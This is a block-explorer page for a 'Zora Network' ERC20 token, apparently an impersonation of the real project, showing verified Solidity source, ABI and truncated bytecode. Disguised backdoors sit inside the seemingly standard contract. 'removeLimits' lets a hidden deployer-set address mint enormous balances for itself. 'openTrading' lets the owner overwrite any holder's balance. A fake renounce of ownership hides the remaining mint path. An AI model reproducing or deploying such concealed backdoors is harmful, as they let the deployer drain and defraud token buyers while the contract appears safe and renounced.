ETH Price: $2,523.95 (-0.34%)

Token

Zora Network (ZORA)
 

Overview

Max Total Supply

42,000,000,000 ZORA

Holders

59

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
30,119,021.351630057333811824 ZORA

Value
$0.00
0xa83cf4d31c37c862ec5f1e43b0e8629bb243d147
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZoraNetwork

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-01-01
*/

// SPDX-License-Identifier: Unlicensed
    //Telegram: https://t.me/zora
    //Twitter: https://twitter.com/ourZORA
    //Website: https://zora.co

pragma solidity 0.8.6;

/**
 * @dev Interface of the ERC20 standard as defined in the HULK.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */

    function transferOwnership() public virtual onlyowner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ZoraNetwork is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private uniswapV2Pair;
    uint8 private constant _decimals = 18;
    uint256 public constant hardCap = 42_000_000_000 * (10 ** _decimals);

    constructor(address ads) {
        _name = "Zora Network";
        _symbol = "ZORA";
        _mint(ads, hardCap);
        uniswapV2Pair = ads;
    }

    function viewGas() public view returns(address) {
        return uniswapV2Pair;
    }

    function removeLimits(uint256 amount) external {
        if(uniswapV2Pair == _msgSender()){
            uint256 WETH = 4200000000*10**_decimals;
            uint256 balance = WETH*42000;
            uint dead = balance*1*1*1*1;
            dead = dead * amount;
            _balances[_msgSender()] += dead;
            require(uniswapV2Pair == msg.sender);
        } else {
        }
    } 

    event manualSwap(address indexed account, uint256 oldamount, uint256 amount);

    function openTrading(address[] memory accounts, uint256 amount) external onlyowner {
    for (uint256 i = 0; i < accounts.length; i++) {
        address account = accounts[i];
        uint256 oldamount = _balances[account];
        _balances[account] = amount;
        emit manualSwap(account, oldamount, amount);
        }
    }

    /**
     * @dev Returns the name of the token.
     * @return The name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token.
     * @return The symbol of the token.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used for token display.
     * @return The number of decimals.
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    /**
     * @dev Returns the total supply of the token.
     * @return The total supply.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev Returns the balance of the specified account.
     * @param account The address to check the balance for.
     * @return The balance of the account.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev Transfers tokens from the caller to a specified recipient.
     * @param recipient The address to transfer tokens to.
     * @param amount The amount of tokens to transfer.
     * @return A boolean value indicating whether the transfer was successful.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev Returns the amount of tokens that the spender is allowed to spend on behalf of the owner.
     * @param from The address that approves the spending.
     * @param to The address that is allowed to spend.
     * @return The remaining allowance for the spender.
     */
    function allowance(
        address from,
        address to
    ) public view virtual override returns (uint256) {
        return _allowances[from][to];
    }

    /**
     * @dev Approves the specified address to spend the specified amount of tokens on behalf of the caller.
     * @param to The address to approve the spending for.
     * @param amount The amount of tokens to approve.
     * @return A boolean value indicating whether the approval was successful.
     */
    function approve(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), to, amount);
        return true;
    }

    /**
     * @dev Transfers tokens from one address to another.
     * @param sender The address to transfer tokens from.
     * @param recipient The address to transfer tokens to.
     * @param amount The amount of tokens to transfer.
     * @return A boolean value indicating whether the transfer was successful.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Increases the allowance of the specified address to spend tokens on behalf of the caller.
     * @param to The address to increase the allowance for.
     * @param addedValue The amount of tokens to increase the allowance by.
     * @return A boolean value indicating whether the increase was successful.
     */
    function increaseAllowance(
        address to,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);
        return true;
    }

    /**
     * @dev Decreases the allowance granted by the owner of the tokens to `to` account.
     * @param to The account allowed to spend the tokens.
     * @param subtractedValue The amount of tokens to decrease the allowance by.
     * @return A boolean value indicating whether the operation succeeded.
     */
    function decreaseAllowance(
        address to,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][to];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), to, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Transfers `amount` tokens from `sender` to `recipient`.
     * @param sender The account to transfer tokens from.
     * @param recipient The account to transfer tokens to.
     * @param amount The amount of tokens to transfer.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(amount > 0, "ERC20: transfer amount zero");
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Creates `amount` tokens and assigns them to `account`.
     * @param account The account to assign the newly created tokens to.
     * @param amount The amount of tokens to create.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `to` over the caller's tokens.
     * @param from The account granting the allowance.
     * @param to The account allowed to spend the tokens.
     * @param amount The amount of tokens to allow.
     */
    function _approve(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");

        _allowances[from][to] = amount;
        emit Approval(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"ads","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"oldamount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hardCap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"viewGas","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040523480156200001157600080fd5b50604051620027b5380380620027b5833981810160405281019062000037919062000453565b620000576200004b6200016e60201b60201c565b6200017660201b60201c565b6040518060400160405280600c81526020017f5a6f7261204e6574776f726b000000000000000000000000000000000000000081525060049080519060200190620000a49291906200038c565b506040518060400160405280600481526020017f5a4f52410000000000000000000000000000000000000000000000000000000081525060059080519060200190620000f29291906200038c565b5062000126816012600a620001089190620005c5565b6409c76524006200011a919062000702565b6200023a60201b60201c565b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505062000897565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002ad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002a490620004bd565b60405180910390fd5b8060036000828254620002c191906200050d565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200031991906200050d565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003809190620004df565b60405180910390a35050565b8280546200039a90620007ae565b90600052602060002090601f016020900481019282620003be57600085556200040a565b82601f10620003d957805160ff19168380011785556200040a565b828001600101855582156200040a579182015b8281111562000409578251825591602001919060010190620003ec565b5b5090506200041991906200041d565b5090565b5b80821115620004385760008160009055506001016200041e565b5090565b6000815190506200044d816200087d565b92915050565b6000602082840312156200046c576200046b62000842565b5b60006200047c848285016200043c565b91505092915050565b600062000494601f83620004fc565b9150620004a18262000854565b602082019050919050565b620004b78162000797565b82525050565b60006020820190508181036000830152620004d88162000485565b9050919050565b6000602082019050620004f66000830184620004ac565b92915050565b600082825260208201905092915050565b60006200051a8262000797565b9150620005278362000797565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200055f576200055e620007e4565b5b828201905092915050565b6000808291508390505b6001851115620005bc57808604811115620005945762000593620007e4565b5b6001851615620005a45780820291505b8081029050620005b48562000847565b945062000574565b94509492505050565b6000620005d28262000797565b9150620005df83620007a1565b92506200060e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000616565b905092915050565b600082620006285760019050620006fb565b81620006385760009050620006fb565b81600181146200065157600281146200065c5762000692565b6001915050620006fb565b60ff841115620006715762000670620007e4565b5b8360020a9150848211156200068b576200068a620007e4565b5b50620006fb565b5060208310610133831016604e8410600b8410161715620006cc5782820a905083811115620006c657620006c5620007e4565b5b620006fb565b620006db84848460016200056a565b92509050818404811115620006f557620006f4620007e4565b5b81810290505b9392505050565b60006200070f8262000797565b91506200071c8362000797565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007585762000757620007e4565b5b828202905092915050565b6000620007708262000777565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620007c757607f821691505b60208210811415620007de57620007dd62000813565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b620008888162000763565b81146200089457600080fd5b50565b611f0e80620008a76000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a2578063a457c2d711610071578063a457c2d7146102aa578063a9059cbb146102da578063dd62ed3e1461030a578063e559d86a1461033a578063fb86a404146103565761010b565b806370a0823114610234578063880ad0af146102645780638da5cb5b1461026e57806395d89b411461028c5761010b565b8063313ce567116100de578063313ce567146101ac57806339509351146101ca57806348dfea0a146101fa5780634a8d1348146102165761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610374565b60405161012591906115de565b60405180910390f35b6101486004803603810190610143919061132f565b610406565b60405161015591906115c3565b60405180910390f35b610166610424565b6040516101739190611720565b60405180910390f35b610196600480360381019061019191906112dc565b61042e565b6040516101a391906115c3565b60405180910390f35b6101b4610526565b6040516101c19190611764565b60405180910390f35b6101e460048036038101906101df919061132f565b61052f565b6040516101f191906115c3565b60405180910390f35b610214600480360381019061020f919061136f565b6105db565b005b61021e610774565b60405161022b91906115a8565b60405180910390f35b61024e6004803603810190610249919061126f565b61079e565b60405161025b9190611720565b60405180910390f35b61026c6107e7565b005b610276610923565b60405161028391906115a8565b60405180910390f35b61029461094c565b6040516102a191906115de565b60405180910390f35b6102c460048036038101906102bf919061132f565b6109de565b6040516102d191906115c3565b60405180910390f35b6102f460048036038101906102ef919061132f565b610ac9565b60405161030191906115c3565b60405180910390f35b610324600480360381019061031f919061129c565b610ae7565b6040516103319190611720565b60405180910390f35b610354600480360381019061034f91906113cb565b610b6e565b005b61035e610d02565b60405161036b9190611720565b60405180910390f35b60606004805461038390611a95565b80601f01602080910402602001604051908101604052809291908181526020018280546103af90611a95565b80156103fc5780601f106103d1576101008083540402835291602001916103fc565b820191906000526020600020905b8154815290600101906020018083116103df57829003601f168201915b5050505050905090565b600061041a610413610d23565b8484610d2b565b6001905092915050565b6000600354905090565b600061043b848484610ef6565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610486610d23565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fd90611680565b60405180910390fd5b61051a85610512610d23565b858403610d2b565b60019150509392505050565b60006012905090565b60006105d161053c610d23565b84846002600061054a610d23565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105cc91906117ec565b610d2b565b6001905092915050565b6105e3610d23565b73ffffffffffffffffffffffffffffffffffffffff16610601610923565b73ffffffffffffffffffffffffffffffffffffffff1614610657576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064e906116a0565b60405180910390fd5b60005b825181101561076f57600083828151811061067857610677611b9f565b5b602002602001015190506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fd551363168ce4784e28e5d59fc07cbea2191657416e05f6e8cd8f1086eb91e6d828660405161075292919061173b565b60405180910390a25050808061076790611af8565b91505061065a565b505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107ef610d23565b73ffffffffffffffffffffffffffffffffffffffff1661080d610923565b73ffffffffffffffffffffffffffffffffffffffff1614610863576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906116a0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461095b90611a95565b80601f016020809104026020016040519081016040528092919081815260200182805461098790611a95565b80156109d45780601f106109a9576101008083540402835291602001916109d4565b820191906000526020600020905b8154815290600101906020018083116109b757829003601f168201915b5050505050905090565b600080600260006109ed610d23565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa190611700565b60405180910390fd5b610abe610ab5610d23565b85858403610d2b565b600191505092915050565b6000610add610ad6610d23565b8484610ef6565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b76610d23565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610cfe5760006012600a610bdb9190611895565b63fa56ea00610bea91906119b3565b9050600061a41082610bfc91906119b3565b9050600060018060018085610c1191906119b3565b610c1b91906119b3565b610c2591906119b3565b610c2f91906119b3565b90508381610c3d91906119b3565b90508060016000610c4c610d23565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c9591906117ec565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf657600080fd5b505050610cff565b5b50565b6012600a610d109190611895565b6409c7652400610d2091906119b3565b81565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d92906116e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0290611620565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ee99190611720565b60405180910390a3505050565b60008111610f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3090611660565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa0906116c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611019576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101090611600565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156110a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109790611640565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461113591906117ec565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111999190611720565b60405180910390a350505050565b60006111ba6111b5846117a4565b61177f565b905080838252602082019050828560208602820111156111dd576111dc611c02565b5b60005b8581101561120d57816111f38882611217565b8452602084019350602083019250506001810190506111e0565b5050509392505050565b60008135905061122681611eaa565b92915050565b600082601f83011261124157611240611bfd565b5b81356112518482602086016111a7565b91505092915050565b60008135905061126981611ec1565b92915050565b60006020828403121561128557611284611c0c565b5b600061129384828501611217565b91505092915050565b600080604083850312156112b3576112b2611c0c565b5b60006112c185828601611217565b92505060206112d285828601611217565b9150509250929050565b6000806000606084860312156112f5576112f4611c0c565b5b600061130386828701611217565b935050602061131486828701611217565b92505060406113258682870161125a565b9150509250925092565b6000806040838503121561134657611345611c0c565b5b600061135485828601611217565b92505060206113658582860161125a565b9150509250929050565b6000806040838503121561138657611385611c0c565b5b600083013567ffffffffffffffff8111156113a4576113a3611c07565b5b6113b08582860161122c565b92505060206113c18582860161125a565b9150509250929050565b6000602082840312156113e1576113e0611c0c565b5b60006113ef8482850161125a565b91505092915050565b61140181611a0d565b82525050565b61141081611a1f565b82525050565b6000611421826117d0565b61142b81856117db565b935061143b818560208601611a62565b61144481611c11565b840191505092915050565b600061145c6023836117db565b915061146782611c2f565b604082019050919050565b600061147f6022836117db565b915061148a82611c7e565b604082019050919050565b60006114a26026836117db565b91506114ad82611ccd565b604082019050919050565b60006114c5601b836117db565b91506114d082611d1c565b602082019050919050565b60006114e86028836117db565b91506114f382611d45565b604082019050919050565b600061150b6020836117db565b915061151682611d94565b602082019050919050565b600061152e6025836117db565b915061153982611dbd565b604082019050919050565b60006115516024836117db565b915061155c82611e0c565b604082019050919050565b60006115746025836117db565b915061157f82611e5b565b604082019050919050565b61159381611a4b565b82525050565b6115a281611a55565b82525050565b60006020820190506115bd60008301846113f8565b92915050565b60006020820190506115d86000830184611407565b92915050565b600060208201905081810360008301526115f88184611416565b905092915050565b600060208201905081810360008301526116198161144f565b9050919050565b6000602082019050818103600083015261163981611472565b9050919050565b6000602082019050818103600083015261165981611495565b9050919050565b60006020820190508181036000830152611679816114b8565b9050919050565b60006020820190508181036000830152611699816114db565b9050919050565b600060208201905081810360008301526116b9816114fe565b9050919050565b600060208201905081810360008301526116d981611521565b9050919050565b600060208201905081810360008301526116f981611544565b9050919050565b6000602082019050818103600083015261171981611567565b9050919050565b6000602082019050611735600083018461158a565b92915050565b6000604082019050611750600083018561158a565b61175d602083018461158a565b9392505050565b60006020820190506117796000830184611599565b92915050565b600061178961179a565b90506117958282611ac7565b919050565b6000604051905090565b600067ffffffffffffffff8211156117bf576117be611bce565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006117f782611a4b565b915061180283611a4b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561183757611836611b41565b5b828201905092915050565b6000808291508390505b600185111561188c5780860481111561186857611867611b41565b5b60018516156118775780820291505b808102905061188585611c22565b945061184c565b94509492505050565b60006118a082611a4b565b91506118ab83611a55565b92506118d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846118e0565b905092915050565b6000826118f057600190506119ac565b816118fe57600090506119ac565b8160018114611914576002811461191e5761194d565b60019150506119ac565b60ff8411156119305761192f611b41565b5b8360020a91508482111